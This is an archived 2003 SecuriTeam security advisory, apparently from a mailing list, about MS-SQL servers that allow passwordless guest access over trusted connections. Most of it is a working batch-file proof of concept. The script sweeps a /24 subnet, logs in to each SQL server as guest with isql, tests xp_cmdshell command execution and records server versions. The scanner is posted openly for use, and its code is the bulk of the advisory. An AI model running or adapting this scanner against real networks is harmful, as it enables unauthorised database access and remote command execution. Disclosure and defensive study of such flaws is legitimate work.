

# [EXPL] MS-SQL Vulnerability Exploiting Trusted Connections

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0082.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 01/30/03

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 30 Jan 2003 11:18:52 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit [http://www.worldonline.co.za/services/work\\_ip.asp](http://www.worldonline.co.za/services/work_ip.asp)

-----

## MS-SQL Vulnerability Exploiting Trusted Connections

---

### SUMMARY

MS-SQL servers allow access via a "trusted connection". Default installations allow "system" level access to the server by an attacker without the need for a password.

### DETAILS

Attached "batch-file" exploit demonstrates this vulnerability. It expects to have at the very least, a functioning copy of the "isql.exe" program in the current directory or directory path.

Proof of concept:

@echo off

rem =====

rem Scan networks for SQL servers that allow access via db guest account

rem =====

rem -----

rem Check for parameters that tell us what to do

rem -----

IF "%1"==" " Goto Usage

## Securiteam: [EXPL] MS-SQL Vulnerability Exploiting Trusted Connections

```
IF "%2"==" " Goto First
```

```
rem -----
```

```
rem Clear / Set environment variables.
```

```
rem -----
```

```
set Guest_Vulnerable=No
```

```
set Guest_cmd=No
```

```
set Vulnerable=0
```

```
set Skip=6
```

```
set PingCount=3
```

```
set SQL-Version=NA
```

```
rem -----
```

```
rem Test Device is Pingable and worth a pop!
```

```
rem -----
```

```
Echo Ping Testing %2
```

```
ping -n 1 %2 >nul
```

```
for /F "skip=%Skip% tokens=10" %%i in ('ping -n %PingCount% %2') do IF
```

```
%%i==%PingCount% GOTO End
```

```
rem -----
```

```
rem Test Device for access via Guest account
```

```
rem -----
```

```
echo Scanning %2 for Guest Access
```

```
isql -S%2 -Uguest -Q"quit" -l1 -t1 -E >nul
```

```
set sucks=%ERRORLEVEL%
```

```
rem Record error level : 0 = Works
```

```
if %sucks%==0 set Guest_Vulnerable=Yes
```

```
if %sucks%==0 set Vulnerable=1
```

```
:Check_Guest_CMD
```

```
rem
```

```
-----  
rem If we can't get in via Guest, don't bother testing for CMD shell  
execution.
```

```
rem
```

```
-----  
If Not %Guest_Vulnerable%==Yes Goto Checks_Done
```

```
rem -----
```

```
rem Test Device for "xp_cmdshell" access via Guest account
```

```
rem -----
```

```
echo Scanning %2 for Guest CMD execution
```

```
isql -S%2 -Uguest -Q"xp_cmdshell 'dir *.exe'" -l1 -t1 -E >nul
```

```
set sucks=%ERRORLEVEL%
```

```
rem
```

```
-----  
rem Since we are here, let's get the version & patch number of the SQL  
server.
```

```
rem
```

## Securiteam: [EXPL] MS-SQL Vulnerability Exploiting Trusted Connections

```
-----  
isql -S%2 -Uguest -Q"use master; select @@version" -l1 -t1 -E | find  
"Server" >Ver-%2.txt  
for /F "tokens=6" %%i in (Ver-%2.txt) do set SQL-Version=%%i  
If exist Ver-%2.txt del Ver-%2.txt  
if %sucks%==0 set Guest_cmd=Yes  
if %sucks%==0 set Vulnerable=1
```

```
:Checks_Done  
rem
```

```
-----  
rem If the system is vulnerable then jump to the display info bit! Else  
End  
rem
```

```
-----  
if NOT %Vulnerable%==0 Goto GotOne  
goto END
```

```
:First  
rem -----  
rem This is where we start! Scan the /24 IP address range.  
rem -----  
cls  
rem -----  
rem Scan starting from .1 and finish at .254  
rem -----  
for /L %%i in (1,1,254) do call %0 Iterate %1.%%i  
goto END
```

```
:Usage  
rem -----  
rem Basic Explanation on what this does etc...  
rem -----  
echo Usage : %0 "IP network"  
echo Where "IP network" is the first 3 octets of a subnet.  
echo e.g. 192.168.1 for network 192.168.1.0/24  
goto END
```

```
:GotOne  
rem -----  
rem Display information discovered  
rem -----  
echo .  
echo -----  
echo SQL Server at IP Address : %2  
echo Guest Vulnerable : %Guest_Vulnerable%  
echo Guest CMD execution : %Guest_cmd%  
echo SQL Version : %SQL-Version%  
echo -----  
echo .  
echo
```

Securiteam: [EXPL] MS-SQL Vulnerability Exploiting Trusted Connections

goto END  
:END

ADDITIONAL INFORMATION

The information has been provided by <mailto:[rdodsworth@engineer.com](mailto:rdodsworth@engineer.com)> Rie Dodsworth.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.